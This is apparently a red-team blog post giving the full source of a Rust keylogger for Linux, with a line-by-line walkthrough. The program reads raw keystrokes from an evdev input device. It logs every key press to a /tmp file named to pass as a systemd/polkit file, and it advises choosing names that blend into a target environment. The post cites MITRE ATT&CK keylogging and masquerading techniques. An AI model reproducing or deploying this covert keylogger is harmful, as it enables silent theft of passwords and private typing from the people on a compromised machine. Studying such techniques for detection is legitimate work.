Overview#

Keyloggers remain a valid TTP for offering deep insight into user behavior. I wanted to write one in Rust aiming for a binary that was memory-safe and efficient (I’m really just learning Rust because it’s trendy and my coworkers like using it).

We will be leveraging the evdev interface — the Linux kernel’s raw input event device system. This gives us direct, low-noise access to keystroke events from /dev/input/event*


Full Source Code#

Here’s the full source code:

use evdev::{Device, InputEventKind, Key};
use std::fs::File;
use std::io::{self, Write};

// Author: Alex Messham
fn main() -> io::Result<()> {
    let mut device = Device::open("/dev/input/event9").expect("Failed to open device");
    let mut log_file = File::create("/tmp/systemd-private-a1d9cca2dca043428f1b80b93e951e36-polkit.service-2jspkrpwn")?;
    
    loop {
        for ev in device.fetch_events().unwrap() {
            if let InputEventKind::Key(key) = ev.kind() {
                if ev.value() == 1 {
                    writeln!(log_file, "Key Pressed: {:?}", key)?;
                    log_file.flush()?;
                }
            }
        }
    }
}

Lets break it down line by line.


Imports#

use evdev::{Device, InputEventKind, Key};
use std::fs::File;
use std::io::{self, Write};

Here we are importing a number of important crates:

  • evdev
    • For interacting with the evdev interface, to capture keystrokes from the kernel’s raw input event device stream.
  • File
    • To create files on the filesystem (our file which will contain captured keystrokes).

Main Function#

fn main() -> io::Result<()> {
    let mut device = Device::open("/dev/input/event9").expect("Failed to open device");

Here we open a handle to /dev/input/event9, which corresponds to a keyboard device on this system. This gives us raw access to keystroke events.

Your device may vary, and you will have to enumerate which file corresponds to the hardware device you are wanting raw input from.

    let mut log_file = File::create("/tmp/systemd-private-a1d9cca2dca043428f1b80b93e951e36-polkit.service-2jspkrpwn")?;

We then create a benign looking file in the /tmp directory, to store our captured keystrokes. You can name this file in any way you wish, to better blend into your target environment.

    loop {
        for ev in device.fetch_events().unwrap() {
            if let InputEventKind::Key(key) = ev.kind() {
                if ev.value() == 1 {
                    writeln!(log_file, "Key Pressed: {:?}", key)?;
                    log_file.flush()?;
                }
            }
        }
    }

We then enter our main loop, which will continuously:

  • Pull new input events from the kernel using device.fetch_events()
    • Filter the events to only the keyboard
    • input using if let InputEventKind::Key(key)
    • Ensure ev.value() is equal to 1 , that way we only log key press events (ignoring key release events)
    • Write the captured event to our log file stored in /tmp , using writeln!

I hope you’ve enjoyed this post, and are inspired to pick up rust. Try this at home kids!


MITRE ATT&CK Techniques:
T1056.001 — Input Capture: Keylogging
T1036 — Masquerading